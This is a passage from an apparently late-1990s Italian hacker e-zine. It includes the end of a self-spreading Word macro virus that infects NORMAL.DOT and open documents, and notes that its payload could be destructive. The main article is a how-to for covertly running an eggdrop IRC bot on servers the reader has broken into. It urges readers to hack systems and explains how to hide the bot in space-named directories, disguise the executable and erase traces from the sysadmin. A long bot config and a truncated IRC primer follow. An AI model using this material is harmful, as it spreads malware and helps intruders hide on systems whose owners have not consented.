template.", title$, 16 REM Then copy the AutoClose macro from NORMAL.DOT. MacroCopy "Global:AutoClose", a$ MsgBox "Infected current doc. with copy of AutoClose macro vir.", title$, 16 End If End If REM After the document or NORMAL.DOT has been infected, then REM execute the following macro code (this could be destructive, REM such as a Kill command, invasive, such as a Connect and REM CopyFile command, or harmless, with no malacious intent). MsgBox "Macro vir. has been spread. Now execute some other code.", title$, 16 End Sub T0rment0 urkes@hotmail.com ۰۰۰ ۰۰۰۰ ۰۰۰ ۰۰۰۰ ۰۰۰۰ ͻ Ŀ COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE ٺ ͼ dISCLAIMEr: =========== Mi assumo ogni responsabilita' legale e morale che derivi dall'uso proprio o imporpio di cio' che verra' detto in questo scritto; inoltre, vi incoraggio tutti a inventare di meglio per raggiungere lo Scopo: INFORMATION WANTS TO BE FREE. Diventate Hacker, producete Hacker. iNTRODUZIONe: ============= Sono ben lieto di poter collaborare, se pur concisamente, alla realiz- zazione di questa e-zine. Per questo che voglio ringraziare pubblicame- nte lo zio Nobody. Sono un recente 'smanettino', nel senso che non ho mai avuto il tempo per approfondire l'hacking. Bazzico tra un modem e l'altro da circa 10 anni. Chi conosce la PNet forse si ricordera' dello Zio Sciack. Comunque non ha importanza. :-)) Ora iniziamo... Inizialmente mi avevano chiesto di scrivere un articolo su come NASCONDERE un eggdrop; ma a motivo di una maggiore chiarezza di questa trattazione, ho preferito includere una parte per ricordare anche come lo si installa. Spero che per questo non mene voglia il collega che ha precedentemente trattato l'argomento (Jack!!). cOS'E` UN BOt?: =============== Molto semplicemente con il termine BOT si definisce, abbreviandolo, un altro termine, cioe' ROBOT, quindi, un automatismo, un programma che fa per voi quello che dovreste fare voi ma che forse, non POTETE fare, per una serie di ovvi motivi, vedi ad esempio gli alti costi di connessione (grazie telecoz!), oppure per il semplice fatto di non possere a casa una linea CDN dedicata che permetta al vostro computer di starsene on-line tutto il giorno [lo sapevate che in canada costa 30$ al mese una cdn?]. >>>>>>>> vedi http://www.notut.org <<<<<<<<<< Abbiamo quindi detto che il BOT e' un nostro programmino che ci aiuta a svolgere dei compiti quando noi non possiamo essere li' a farli o per altre semplici comodita'. Come saprete gia', quindi, il loro massimo impiego lo hanno all'interno delle famose rete di chatting, quali ad esempio IRCNet; ovviamente per mantenere attivo un proprio canale, ma non solo per quello... Vediamo! eGGDROp: ======== Eccolo qui! E' lui! E' il BOT! O meglio, e' UN bOt; si', perche' ce ne sono tanti, addirittura ne ho provato uno semplice semplice fatto da un italiano, si chiama Megalobot (se non sbaglio?!). Noi pero' ci concentreremo sulla messa in opera dell'eggdrop. Non perche' sia piu' semplice, anzi (RedXIII, McFly: che ne dite, eh??), ma piuttosto perche' e' il piu' utilizzato, quello con piu' possibilita' di personalizzazione, e SOPRATTUTTO quello che gira sul maggior numero di O.S. (slurp!) Di eggdrop ce ne sono diverse versioni. "Embe', basta piazzarci l'ultima versione, no?". Diremo di no. "Ehy, ma perche'? A me piace essere un tipo aggiornato?". Continueremo a dire di no. Infatti ho notato che ogni versione di eggdrop non solo fa qualche passo in avanti nel senso di eliminare qualche bug ma, purtroppo, cambia anche a livello di script (poi spiegheremo meglio); questo significa che uno script scritto per eggdrop 1.1.5 non funzionera' piu' con un'altra versione dello stesso eggdrop. Non che il problema sia insormontabile ma, dato che [si' lo confesso], non ho avuto il tempo di studiarmi bene il nuovo eggdrop 1.3.x, allora in questa trattazione prenderemo in considerazione la versione 1.1.5. Che comunque ha anche il pregio di essere disponibile in diverse versioni, anche precompilate, per altrettanti O.S. l'OBIETTIVo: ============= Prima di cominciare dobbiamo porci il nostro obbiettivo, o nostro target. Che vogliamo fare? Poter installare un BOT per mantenere aperto e gestire gli op del canale #hackit [esiste gia' e vi invito caldamente a farci visita]. Ma non solo, vorremmo anche far si' che ci resti, o meglio, che nessuno osi a cancellarcelo. Questo si rende necessario allorche' il nostro bel BOTtino e' piazzato su di un server senza la debita autorizzazione del sysadmin ( !superflua! :-). Tanto quale hacker metterebbe mai un BOT su di una shell a pagamento? Giammai! eheh :-)) Comunque se ancora non avete una shell vi consiglio di trovarvela al piu' presto. Se proprio siete disperati forse potreste trovare questo sito interessante, anche se non garantisco: >>>>>>>>> http://. (scusatemi ma si e' cancellato il bookmark!!) <<<<<<<<<< ....ma preferibilmente bucate gente, bucate e bucate! iNSTALLAZIONe: ============== Ora passiamo alla vera e propria messa in scena del nostro bel programmino. Prima di tutto dobbiamo avere la shell, come detto precedentemente, funzante e stabilire quale O.S. vi sta girando. Nei sistemi unix bastera' digitare quanto segue: ...shell#] uname -a Linux sciacknet 2.2.6 #4 SMP Sat Apr 17 19:07:26 CEST 1999 i586 unknown ...shell#] Questo ovviamente, come avrete notato, e' l'output di uname sulla mia macchina. Sappiamo cosi' che O.S. sta girando, Linux, e che versione del kernel, la 2.2.6! (si' a me piace essere aggiornato [8-)] Bene, a questo punto non ci resta che scegliere se installare una versione precompilata (solo l'eseguibile) oppure (se abbiamo la possibilita' di compilare e quindi fare uso di gcc (o cc), make, autoconf, etc...) utilizzare una versione in formato sorgente da compilarci con comodo sul nostro caro serverino. In ogni modo abbiamo bisogno di questo indirizzo: >>>>>>>>>>> http://indirizzo (IDEM COME SOPRA...hihi:-) <<<<<<<<<<<<<<<< Nel caso abbiamo scelto per motivi di gioco-forza di installare la versione precompilata possiamo passare dunque alla prossima sezione di questa trattazione. Invece se vogliamo installare la nostra versione di eggdrop 1.1.5 e compilarla in remoto dovremo procedere in questo senso: 1) Procurarci il file eggdrop1.1.5.tar.gz (vedi sito sopra) 2) Collegarci al sito remoto via ftp e uploadarci il nostro .gz (se siete sotto unix consiglio IglooFtp... ci potete piazzare pure il proxy per nascondervi)/ Oppure potete una volta che siete entrati nella 'vostra' (sigh!) shell, fare un ftp specificando il sito dove si trovare eggdrop e quindi scaricarvelo direttamente da li'. Boh.. fate voi.. l'importante e' che non lasciate VOSTRE tracce! (ricordatevi unset history.. bla bla bla.. ok?) 3) Posizionarci in una dir dove avete l'accesso in scrittura ad esempio: /tmp (tutti gli user possono scriverci) oppure la dir /home/nome_user. 4) Farci una dir moolto sicura e nascosta. Io consiglio: ...root@nasa.com:~# cd /tmp ...root@nasa.com:/tmp# mkdir ". " <--- due spazi ...root@nasa.com:/tmp# cd ". " dove ------^ significa dir nascosta ...root@nasa.com:/tmp/. # tar zxvf /dove/sta/egg/eggdrop1.1.5.tar.gz 5) Entriamo nella dir che verra' creata e lanciamo ./configure questo permettera' al programma di comprendere su che sistema sta girando, se Linux, BSD, SunOs, etc... 6) Poi se non abbiamo ricevuto strani errori possiamo finalmente compilare l'eggdrop dando il comando: make eggdrop 7) Infine installiamo il tutto con il prg.: putegg "/tmp/. " 8) Ora cancelliamo la dir che il tar aveva creato con un rm -rf eggdrop1.1.5 (beh, prima usciamo dalla directory :-) 9) Rinominiamo il file eseguibile eggdrop (da troppo nell'occhio) mv eggdrop ". " <-- Stavolta uno spazio solo 10) Cancelliamo tutto cio' che non ci serve.. README, eggdrop.conf, etc... 11) Piazziamo ora il nostro script, che avremo precedentemente fatto [vedi sezione apposta], chiamandolo con un nome piuttosto anonimo p, m, a, rv, etc... oppure, consigliato, ". " <------ tre spazi sta volta 12) Se e' tutto ok, allora possiamo lanciare l'eggdrop: ...root@nasa.com:/tmp/. /# ./". " -m script (p, m, ". ", etc..) Se e' andato tutto bene allora comparira' una scritta che ci segnalera' l'avvenuto lancio del nostro eggdrop, in background, e che e' in attesa di un messaggio in IRC, da parte nostra, per poter stabilire che siamo noi l'owner (o il proprietario) del BOT. Inoltre ci verra' fornito il numero di pid (process id). Questo e' estremamente utile se vogliamo, via telnet, killare il nostro BOT, bastera' infatti un 'kill -9 num_pid' per 'uccidere' il nostro BOT. Oppure un kill -HUP num_pid per riavviarlo. Comunque in ogni caso verra' creato un file nella directory di eggdrop, con un nome di questo genere: 'pid.nome_tuo_bot' nel cui contenuto e' segnato l'ultimo pid assegnato al programma. Bastera' infatti un semplice cat pid.nome_tuo_bot per, se eventualmente non ce lo ricordassimo, rievocarci il numero di tale processo. dAL CLIENT IRc: =============== Ora che finalmente abbiamo un bel BOTto funzante, possiamo quindi gestirlo abilmente dal nostro client IRC (BitchX, Kvirc, mIRC, etc). Come? Per prima cosa dobbiamo dirgli che siamo noi il master supermo! Allora, per fare questo, dovremmo inviargli un messaggio (solo la prima volta) deltipo: '/MSG nome_bot hello'. Dopo poco ci rispondera' il BOT, identificandoci come master e owner del BOT. A questo punto prima di passare a dare comandi, abbiamo bisogno di impostare una 'password di sicurezza'. Faremo questo con il seguente comando: '/MSG nome_bot PASS nostra_password'. Ora il momento (finalmente!) di passare in dcc/chat e 'parlare' direttamente con il nostro amato BOT, grazie alla cosiddetta party line. Inseriamo la password e ci troveremo faccia a faccia con il 'bambino', si' proprio bambino...perche' ORA gli dovremo insegnare proprio a vivere.. a capire.. a FARE! Come? .... leggetevi la documentazione !! Ehehe :-)) Oppure se ne riparla in un prossimo articolo :-)) Oppure: http://..............eheh :-)) cONFIGURARE LO SCRIPt: ====================== Lo script dell'eggdrop e' il BOT a tutti gli effetti! E' il cuore del nostro 'bambino', nello script diciamo come si chiamera' il BOT, che abitudini avra', quali server irc chiamera', e tanti altri particolari. Andiamo velocemente a descrivere un classico file di script: (consiglio: fatelo prima in locale poi scaricatelo sul 'vostro' server :-)) #!/tmp/. / # ^^^^^^^^^^--------- Qui ci piazziamo la directory del nostro eggdrop # # The Sciack Eggdrop Configuration File v. 1.1 # # --->> SOLO ED ESCLUSIVAMENTE PER EGGDROP 1.1.5 <<--- # # NoCopyright 1999 (c) Needed, # All rights are Free # # Questo e' un esempio di file di configurazione per il tuo bot. # ##### cOSE GENERALi ##### # le info che si vedranno quando si usera' il comando /whois set nick "^ChiaRa" set altnick "|chiara|" ;# altro nick, se il primo e' in uso set username "|chiarA|" ;# ...boh fate voi ... set realname "La Chiara" ;# bel nome, eh? # Chi lancia il bot? set admin "Sciack" # [0/1] lascia gli utenti presentarsi al bot con un semplice 'hello'? # E' utile. Per aggiungere altri utenti al bot. set learn-users 1 # Invece di usare un semplice 'hello' si puo' decidere di cambiare parola # ...... #unbind msg - hello *msg:hello #bind msg - mia_parola *msg:hello # La lista dei server -- il bot provera' a connettersi ai server della lista # incominciando dall'alto verso il basso. # Ovviamente assicuratevi che i server accettino i login, altrimenti eliminateli # potrebbero far perdere del tempo prezioso al vostro bot set servers { irc.stealth.net:6667 irc.cifnet.com:6667 irc.anet.com:6667 irc.webbernet.net:6660 irc.uni-erlangen.de:6667 ircnet.sprynet.com:6667 irc.flashnet.it:5000 irc.ircit.net:4040 irc.tin.it:6667 irc.ccii.unipi.it:6666 flute.telstra.net.au:6665 yoyo.cc.monash.edu.au:6668 irc.usyd.edu.au:6667 ircnet.idirect.ca:6667 irc.wu-wien.ac.at:6666 irc.dinf.vub.be:6667 irc.span.ch:6667 irc.felk.cvut.cz:6667 irc.fu-berlin.de:6665 irc.uni-stuttgart.de:6665 irc.dknet.dk:6667 irc.estpak.ee:6667 irc.stealth.net:6667 luisvive.euiti.upv.es:6667 irc.cs.hut.fi:6667 irc.eurecom.fr:6667 irc.enst.fr:6667 sil.polytechnique.fr:6667 irc.ee.auth.gr:6666 irc.bme.hu:6667 irc.tau.ac.il:6667 irc.isnet.is:6667 irc.lvnet.lv:6667 irc.nl.net:6663 irc.xs4all.nl:6660 irc.sci.kun.nl:6663 irc.ifi.uio.no:6667 irc.pvv.unit.no:6667 irc.msu.ru:6667 irc.ludd.luth.se:6668 chat.bt.net:6664 ircnet.demon.co.uk:6665 irc.netcom.net.uk:6667 irc.tokyo.wide.ad.jp:6667 irc.silicon.net.my:6667 irc.mol.net.my:6667 ircnet.irc.aol.com:6667 irc.ncal.verio.net:6667 } # che porta usare se con .jump non la specifichiamo? set default-port 6667 # Poco importante, comunque indicate quale rete IRC usate set network "IRCnet" # Anche se tutti i server sono 'down' continua a cercare di connettersi? set never-give-up 1 # Quanti secondi deve aspettare il nostro bot dopo esserci collegato # prima di iniziare ad essere operativo? set server-timeout 15 # if the number of servers on the net gets below this number, it will # jump to a new server (ie, it will assume it's on the losing end of a # netsplit) -- set to 0 to turn off # [most irc networks use TS now, so it's to your advantage to turn this off] set servlimit 0 # Se e' stato impostato il l'altnick come nick a motivo del fatto che era gia' # in uso, prova a riottenere il proprio nick dopo, ok? set keep-nick 1 # Abilita gli utenti a salvare una linea di info nel log file? set use-info 1 # [0/1] if this is set, a leading '~' on user@hosts WON'T be stripped off set strict-host 0 # Sotto quale timezone apparteniamo? set timezone "GMT+1" # Esistono molte variabili per migliorare la presentabilita' del nostro bot # ctcp-version, ctcp-finger, and ctcp-userinfo. Puoi usare il comando set # per impostarele a tuo piacimento. set ctcp-version "Mundus vult decipi" set ctcp-finger "What do you find? nothing..." set ctcp-userinfo "Mundus vult decipi" ##### pROTEZIONe DEL CANALe ##### # Fate cosi' per ogni canale 'statico' vogliate impostare: # Comunque consiglio di fare piu' canali dinamici direttamente # dalla party line e poi salvarli con il comando .chansave channel add #hackit { chanmode "+nst-likm" idle-kick 0 need-op { putserv "PRIVMSG #hackit :op me please!" } need-invite { putserv "PRIVMSG #hackit :let me in!" } need-key { putserv "PRIVMSG #hackit :let me in!" } need-unban { putserv "PRIVMSG #hackit :sbannatemi please!" } need-limit { putserv "PRIVMSG #hackit :let me in!" } } # Le cose all'interno delle { } si chiamano: CHANNEL OPTIONS -- # le quali possono essere settate con il comando "channel add", o utilizzando # anche "channel set", come nell'esempio che segue. # chanmode # Quale modo 'forzare'? Con il '+' verra' aggiunto, e con il '-' # verra' tolto. # idle-kick # Cacciare i memberi del channel dopo quanti minuti di inattivita'? # (non metterlo oppure settarlo a 0 per disabilitarlo) # need-op # Script da lanciare (se si vuole) quando il bot vuole essere 'oppato' # su questo canale. # need-invite # Script da lanciare (se si vuole) quando il bot e' chiuso (+i) fuori # dal canale. # need-key # Script da lanciare (se si vuole) quando il bot e' chiuso dal canale, ma # perche' e' sprovvisto della 'chiave'. # need-unban # Script da lanciare (se si vuole) quando il bot viene bannato dal canale # need-limit # Script da lanciare (se si vuole) quando il bot viene chiuso fuori # perche' l'afflusso limite di membri nel canale e' al sua massimo. # N.B.: I comandi "need-op", "need-invite", etc, sono limitati a 120 caratteri, # cosi' se volete che siano un po' piu' complicati, scrivetevi una procedura, # e fategli chiamare tale procedura! # Ci sono un mucchio di altre opzioni che possono essere abilitate (+) o # disabilitate (-) su ogni canale. Ad esempio per abilitare l'opzione autoop: # +autoop # per disabilitarla, mettere: # -autoop # Cancellare la lista dei bannati quando il bot entra nel canale? # (ad esempio, per forzare che la lista dei bannati del channel coincida # con quella del bot) channel set #hackit +clearbans # Quando si setta un ban, cacciare la gente che e' gia' nel canale e quindi # confrontarla con la nuova 'lista dei bannati' ? channel set #hackit +enforcebans # Attivare il ban solo quando e' necessario? # Consigliabile. channel set #hackit +dynamicbans # Permette che i 'ban' vengano messi direttamente dagli utenti? # (se disabilitato questo sara' possibile farlo solo dalla console del bot) channel set #hackit +userbans # Oppare gli utenti con il 'flag' +o (op) il piu' presto possibile # da quando sono entrati nel canale? channel set #hackit +autoop # Lascia che solo gli utenti con il 'flag' +o (op) siano 'operatori del # canale' ? channel set #hackit +bitch # Mostra una riga di informazione sull'utente che entra nel canale? channel set #hackit +greet # Rioppa un utente con il 'flag' +o (op) se venisse deoppato? channel set #hackit +protectops # Informa dello stato dei canali ogni 5 minuti? (a qualcuno questa opzione # potrebbe annoiare un po'; ma penso che sia utile) channel set #hackit -statuslog # Deoppa chi entra nel canale come op (es, netsplit) quando, pero', # non lo era prima dello split? channel set #hackit +stopnethack # Ricorda le persone che hanno deoppato/kickkato/bannato il bot # o un operatore, e punirli? # Gli utenti con il 'flag' +f (friend) sono esclusi dal 'revenge'. channel set #hackit +revenge # Paranoici della sicurezza?? channel set #hackit +secret # Condividi le info dell'utente per questo channel? channel set #hackit -shared # Ecco un breve esempio: #channel add #hackit { # chanmode "+nst-likm" # idle-kick 0 #} ##### LOG FILES ##### # Puoi avere piu' di 5 file di log. Alla mezzanotte di ogni giorno i vecchi # file saranno rinominati e ne verranno creati dei nuovi. Di default, i vecchi # file vengono chiamati "(nomedelfilelog).yesterday", e ogni file log # precedente verra' cancellato. # Gli eventi sono catalogati in certe categorie -- in questo modo puoi # specificare esattamente che genere di eventi vuoi indirizzare ai vari # file di log. Gli eventi sono: # m msg/ctcp privati al bot # k kickkate, bannate, e altri cambiamenti di 'modo' sul canale # j joinnate(entrate), part, netsplit sul canale # p 'chattate' pubbliche sul canale # s connessioni/disconnessioni/notizie da/al server # b informazioni circa i collegamenti tra bot e le condivisioni utenti # c comandi utilizzati (via msg o dcc) # x trasferimento di file e comandi riguardanti l'area file # r (se definito nel file eggdrop.h) OGNI COSA mandata al bot dal server # o oltre cose: misc, errori -- COSE IMPORTANTI # w wallops: msgs between IRCops (be sure to set the bot +w in init-server) # # NON HO PIU' VOGLIA DI TRADURRE !! IMPARATE L'INGLESE!! # # each logfile also belongs to a certain channel. events of type 'k', 'j', # and 'p' are logged to whatever channel they happened on. most other # events are currently logged to every channel. you can make a logfile # belong to all channels by assigning it to channel "*". there are also # five user-defined levels ('1'..'5') which are used by Tcl scripts. # in 'eggdrop.log' put msgs, commands, and errors from any channel: logfile mkco * "egg.log" # in 'lame.log' put joins, parts, and mode changes from #lame: logfile jk #hackit "hackit.log" # [0/1] timestamp entries in the log file? (generally a good idea) set log-time 1 # [0/1] keep logfiles for more than 48 hours -- instead of being called # "(logfilename).yesterday", the log files are named by the current date, # and kept around forever (eventually your directory might get full, so # be careful with this!) set keep-all-logs 0 # once a day the logfiles are switched out and started fresh -- # this specifies when that should happen (in military time) # [note that a leading 0 will make Tcl think this is an octal value, # something you probably don't want.] set switch-logfiles-at 300 # this is the default console mode -- what masters will see automatically # when they dcc chat with the bot (masters can alter their own console # flags once they connect, though) -- it uses the same event flags as # the log files # (note that the console channel is automatically set to your "primary" # channel -- the one you defined first in this file. masters can change # their console channel with the '.console' command, however.) set console "mkcobxs" ##### FILES AND DIRECTORIES ##### # the userfile: where user records are stored set userfile "^ChiaRa.user" # the notefile: where private notes between users are stored set notefile "^ChiaRa.user.notes" # maximum number of notes to allowed stored for each user # (to prevent flooding) set max-notes 50 # where the help files can be found (and there are plenty) set help-path "help/" # where miscellaneous info files are set text-path "text/" # a good place to temporarily store files (ie: /tmp) set temp-path "/tmp" # the MOTD is displayed when people dcc chat to the bot. # check 'help set motd' for tons of motd options. set motd "motd" ##### FILE SYSTEM ##### # the file transfer area works via dcc chat. you can turn the file system # off by not defining the 'files-path' below. # this is the 'root' directory for the file system (set it to "" if you # don't want a file system) set files-path "" # if you want to allow uploads, set this to the directory uploads should be # put into set incoming-path "/tmp/. /incoming" # [0/1] alternately, you can set this, and uploads will go to the current # directory that a user is in set upload-to-pwd 0 # eggdrop creates a '.filedb' file in each subdirectory of your dcc area, # to keep track of its own file system info -- if you can't do that (like # if the dcc path isn't owned by yours) or you just don't want it to do # that, specify a path here where you'd like all the database files to # be stored instead (otherwise, just leave it blank) set filedb-path "" # set maximum number of people that can be in the file area at once # (0 to make it effectively infinite) set max-file-users 20 # set maximum number of simultaneous downloads to allow for each user set max-dloads 3 # set the block size for dcc transfers (ircII uses 512 bytes, but admits # that may be too small -- 1024 is standard these days) # set this to 0 to use turbo-dcc (recommended) set dcc-block 0 # maximum allowable file size that will be received, in K # (default is 1024K = 1M) set max-filesize 1024 # [0/1] copy files into the /tmp directory before sending them? this is # useful on most systems for file stability. (someone could move a file # around while it's being downloaded, and mess up the transfer.) but if # your directories are NFS mounted, it's a pain, and you'll want to set # this to 0. set copy-to-tmp 1 ##### STARTUP ##### # You MUST remove that line for this config file to work. This has been # added to prevent you from starting up a bot that is not fully configured. # Bots that have not been fully configured may join the wrong IRC network, # the wrong channels, or generally do things that you do not want. Please # make sure that you have double-checked the settings you want. ##### MODULES ###### # # this is only relevant to people who compiled with modules support # ##### IF YOU USE MODULES AND DONT READ THIS YOU ARE A TOTAL WAD ##### # # choose your encryption method now, 'cause once it's there it aint # changing till you get a new userfile, capish? at this stage that leaves # you with one option: blowfish # uncomment this line to load blowfish #loadmodule blowfish # #uncoment this line to load assoc support #loadmodule assoc # #uncoment this line to load the file system module #loadmodule filesys # ##### END OF IMPORTANT STUFF ##### ##### BOTNET ##### # you probably shouldn't deal with this until reading 'botnet.doc' or # something. you need to know what you're doing. # if you want to use a different nickname on the botnet than you use on # IRC, set it here: #set botnet-nick "LlamaBot" # what telnet port should this bot answer? # NOTE: if you are running more than one bot on the same machine, you will # want to space the telnet ports at LEAST 5 apart... 10 is even better listen 3343 all # if you would rather have one port for the botnet, and one for normal # users, you will want something like this instead: #listen 3333 bots #listen 4444 users # note: there are more options listed for the listen command in # doc/tcl-commands.doc # [0/1] share user data with other bots on the channel? set share-users 0 # [0/1] share user greets with other bots on the channel if shareing user data? set share-greet 0 # [0/1] allow other bots userfiles to overwrite yours? set passive 0 # [0/1] users with the +o (global op) flag will still need the +p (party # line) flag to join the dcc chat party line? set require-p 0 # [0/1] allow people to telnet in, type 'NEW', and become a new user? set open-telnets 0 # how long (in seconds) should i wait for a connect (dcc chat, telnet, # relay, etc) before it times out? set connect-timeout 15 ##### MORE ADVANCED STUFF ##### # are you behind a firewall? uncomment this and specify your socks host #set firewall "proxy:178" # or, for a Sun "telnet passthru" firewall, set it this way # (does anyone besides Sun use this?) #set firewall "!sun-barr.ebay:3666" # if you're using virtual hosting (your machine has more than 1 IP), you # may want to specify the particular IP to bind to. you can specify # either by hostname or by IP. you may also want to set the hostname # here if eggdrop has trouble detecting it when it starts up. (it will # let you know if it has trouble -- trust me.) #set my-hostname "virtual.host.com" #set my-ip "99.99.0.0" # # if you have a NAT firewall (you box has an IP in one of the following # ranges: 192.168.0.0-192.168.255.255, 172.16.0.0-172.31.255.255, # 10.0.0.0-10.255.255.255 and your firewall transparently changes your # address to a unique address for your box.) or you have IP masquerading # between you and the rest of the word, and /dcc chat,/ctcp chat or # userfile shareing arent working. Enter you outside IP here, and # #define HAVE_NAT in eggdrop.h # Do not enter anything for my-ip or my-hostname. #set nat-ip "127.0.0.1" # if you want all dcc file transfers to use 1 particular listening port # (this pretty much limits you to one concurrent file transfer at a time), # either because you're behind a firewall, or for other security reasons, # set it here #set reserved-port 9076 # if you want to dynamically change channel settings, and have them saved # for next time the bot restarts, define this filename ( the filename # you set here *MUST* exist else the bot won't load. Just create an empty # file for this to work) #set channel-file "LamestBot.chan" # script to run (if any) when first connecting to a server set init-server { putserv "MODE $botnick +iw-s" } # how many msgs in how many seconds from the same host constitutes a flood? set flood-msg 5:60 # how many public msgs in how many seconds? set flood-chan 10:60 # how many joins/nick changes in how many seconds? set flood-join 5:60 # how many CTCPs in how many seconds? set flood-ctcp 3:60 # temporary bans will last how many minutes? set ban-time 120 # temporary ignores will last how many minutes? set ignore-time 15 # normally the user file is saved once an hour, on the hour # you can change that here (for example, "20" means to save every # hour at 20 minutes past the hour) set save-users-at 00 # normally users are notified once and hour, on the hour, if they have any # notes on the bot. You can change that here (for example, "15" means to # notify every hour at 15 minutes past the hour) set notify-users-at 00 # send a note to anybody when I learn new users? set notify-newusers "HQ" # if compiled with owner, the following user(s) will ALWAYS have the # owner (+n) flag set owner "Sciack, skk" # what flags should new users get as a default? # check 'help whois' for tons of motd options. set default-flags "px" # what user-defined fields should be displayed in a '.whois'? # this will only be shown if the user has one of these xtra fields # set with 'user-set'. set whois-fields "url birthday" # some networks allow you to stack lots of channel modes into one # line. as of november 1996, the major networks allowed: # EFnet 4 # IRCnet 3 # Undernet 6 # Dalnet 6 # they're all guaranteed to support at least 3, so that's the default, # but if you know your network supports more, you may want to adjust # this value. this value must be less that or equal to 6. set modes-per-line 3 # maximum number of lines to queue to the server. # if you're going to dump large chunks of text to people over irc, you # will probably want to raise this -- most people are fine at 300 though set max-queue-msg 300 # time (in seconds) to wait for someone to return from a netsplit set wait-split 300 # time (in seconds) that someone must have been off-channel before # re-displaying their info set wait-info 180 # time (in seconds) that a dcc file transfer can remain inactive # before being timed out set xfer-timeout 300 # time (in days) to let stored notes live before expiring them set note-life 60 ##### SCRIPTS ##### # load that toolkit of useful scripts (some script packages may depend # on this being loaded) source scripts/toolkit.tcl # these are some commonly loaded (and needed) scripts. source scripts/toolbox.tcl source scripts/action.fix.tcl Bene, questo e' quanto. Ora avete una shell (speriamo), l'eggdrop installato, lo script (... il mio ...), insomma: tutto quello che vi serve!! Forse avete bisogno solo di un po' di fortuna... e, mettendo in pratica i consigli che abbiamo gia' detti, dovremmo riuscire a mantenere il BOT per un po' di tempo... forse tanto tempo! Un ultima cosa: a volte i sysadmin cancellano la dir /tmp, periodicamente, forse perche' sanno che c'e' il pericolo, o forse semplicemente per 'manutenzione', in ogni caso, potrebbe essere piu' saggio piazzare il BOT in un altra dir dove si hanno i permessi di scrittura. Vedete un po' voi. sALUTi: ======= Finalmente siamo arrivati alla fine, non che io mi sia annoiato, ma forse perche' VOI lo sarete :-)) Spero di no... Volevo ringraziare chi mi ha dato la possibilita' di scrivere questo articolo, quindi Nobody... e comunque tutti quelli che mi vogliono bene, tra i primi OVVIAMENTE cito il dio Samron... eheh :-)) Saluti e baci alla D.i.B. Cr3W... la mitica e inimitabile DIB (http://come.to/dib), li conoscete? Alla prossima. The Sciack ͻ Ŀ IRC NETWORKS ٺ ͼ <-<-[ IRC Networks ]->-> Oki doki belli! I'm returned! In kuesto grosso doc tratteremo di due argomenti molto importanti: dar un infarinatura generale sulla struttura di un server e sulle varie reti che offrono servizi diversi da IRCnet... (leggasi Dalnet, AzzurraNet e Undernet) <-<-[ KreditZ ]->-> Giusto prima di kominciare voglio dare un paio di kreditZ a tutta la gente ke non ho mai salutato, ma ke mi ha sempre aiutato, supportato e anke sopportato ;) Ekkovi l'elenko... Mmilo, il grande Maestro Cloud, il mio pi grande amico "reale" G18, per il suo mitiko e potentissimo script (altro ke Bisnuke, PiZza ecc.) oneb0y, Fragola, Fabryx, Cleindori, per essere miei amici (one d'estate vengo) Paperino, per essere uno dei miei migliori amici su irk... (Anci ruleZ!) N0bodY88, per essere un mio supporter (mi aspetto un bell'ndN0bodY!) ndN0bodY = cax e mo che scrivo???? CIAO MAMMA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ]-Ard-[, per essere il mio mito personale! LeoMar, per esistere! ]|KuBoZ|[ & YAMAZAKI & Steeve, per essere i kompagni pi simpatici ke si possano trovare in giro... Radio 105, le Merit, il Glen Grant & il mio lettore Cd: per avermi tenuto compagnia... Infine riservo un pikkolo ma non meno importante kreditZ a un amikone, ke purtroppo non vedo spesso n su irk n dal vivo: CyberAle TORNA KON NOI!! ------------------------------------------------------------------------------ End of prologue...now the really g00d things begin... ------------------------------------------------------------------------------ Allora raga, avete letto i miei kreditZ e vi sarete stufati senza dubbio... Perci iniziamo, inanzitutto definizione di server IRC: Un server un programma che manda dati precisi ad un altro programma, detto client, il quale interpreta i dati mandati dal server e vi da accesso a determinate funzioni. Nel caso di un server IRC, vengono mandati diversi dati che indicano i nick presenti su un canale, le frasi dette, i cambi di nick e di mode ecc. Quindi questi dati una volta partiti dal server e giunti a destinazione (che sarebbe il nostro bel modem, che a sua volta li passa al client) vengono appunto interpretati dal client (solitamente il mIRC). Molto genericamente una struttura server/client per IRC funziona cos: 1) Connessione TCP alla porta scelta (solitamente 6667) [piccola parentesi sulle astrazioni del TCP: ogni macchina connessa su Internet possiede un particolare numero a tre cifre detto IP; esso nella forma XXX.XXX.XXX.XXX dove alle X sostituite un numero che va da 1 a 255. Per evitare di dover fare molti computer diversi, ognuno connesso e quindi con un IP diverso, nel TCP/IP stata creata l'astrazione delle porte: infatti ogni computer con un IP ha anche diverse porte, e queste vengono aperte da determinati programmi, appunto i server, a cui poi il client si connette] 2) Appena la connessione viene stabilita, il server aspetta due comandi dal client: USER e NICK. Il primo introduce un host, il secondo un nick 3) Il client viene introdotto sulla rete IRC. Da questo momento in poi possibile joinare canali, fare query ecc. Ne avrete dedotto che un client altro non che una connessione su un server: e infatti io ho fatto delle prove in locale, e conoscendo la sintassi dei comandi possibile chattare via Telnet (eheheheh :) Il comando principale PRIVMSG: infatti con questo comando possibile chattare. La sintassi la seguente: PRIVMSG : il destinatario pu essere o un canale (e in questo caso sar preceduto da #) oppure un nick (senza #). Nel caso il dest. sia un nick si aprir la famosa finestra di query. I due punti prima del messaggio non sono indispensabili, per servono per potere mandare messaggi lunghi pi di una parola. Se li ometterete infatti arriver solo la prima parola del messaggio. Se volete approfondire le conoscenze teoriche sui server IRC, vi consiglio di scaricarvi l'RFC (Reference for Comments) numero 1459. Lo potrete trovare facendo un FTP search (http://www.ftpsearch.lycos.com) sul nome file RFC1459.ZIP o RFC1459.TXT Passiamo adesso a discernere sulle altre reti IRC: infatti non esiste solo IRCnet come alcuni pensano, ma esiste anche Dalnet, Undernet, AzzurraNet ecc. Io bazzico Undernet, ma non sono SpYmAsTeR perch ce n' gi uno. Per il nick non ve lo dico, perch su Undernet io sono un'altra persona ;) Comunque, inziamo con Dalnet e Azzurra: queste due reti usano al 99% lo stesso server irc (domanda personale: un server irc per linux si chiama IRCD, ossia IRC Daemon?), basato su dei bot gi inseriti e programmati per stare sui canali, registrare nick cos da evitare fakes, lasciare promemoria ecc (sono quasi le stesse funzioni che ha un Eggdrop). Questi bot si chiamano ChanServ, NickServ, MemoServ ecc. Potrete trovare un articolo molto completo su NewBies 2, riguardante la sintassi di tutti i comandi ecc. Sebbene l'articolo parlasse solo di AzzurraNet, sappiate che tra Dalnet e AzzurraNet cambia pochissimo, se non niente. Passiamo adesso ad Undernet, che conosco molto bene. Il server 